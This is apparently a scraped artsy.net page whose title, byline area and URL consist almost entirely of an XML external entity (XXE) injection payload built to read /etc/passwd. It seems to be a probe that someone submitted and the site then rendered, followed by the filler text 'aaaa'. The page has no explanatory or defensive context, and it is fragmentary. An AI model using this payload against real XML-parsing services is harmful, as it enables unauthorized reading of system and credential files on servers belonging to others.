<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
Artsy Editors
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>https://artsy.net/%3C?xml%20version=%221.0%22%20encoding=%22ISO-8859-1%22?%3E%20%20%3C!DOCTYPE%20foo%20[%20%20%20%20%20%20%3C!ELEMENT%20foo%20ANY%20%3E%20%20%20%20%3C!ENTITY%20xxe%20SYSTEM%20%22file:///etc/passwd%22%20%3E]%3E%3Cfoo%3E&xxe;%3C/foo%3E
aaaa
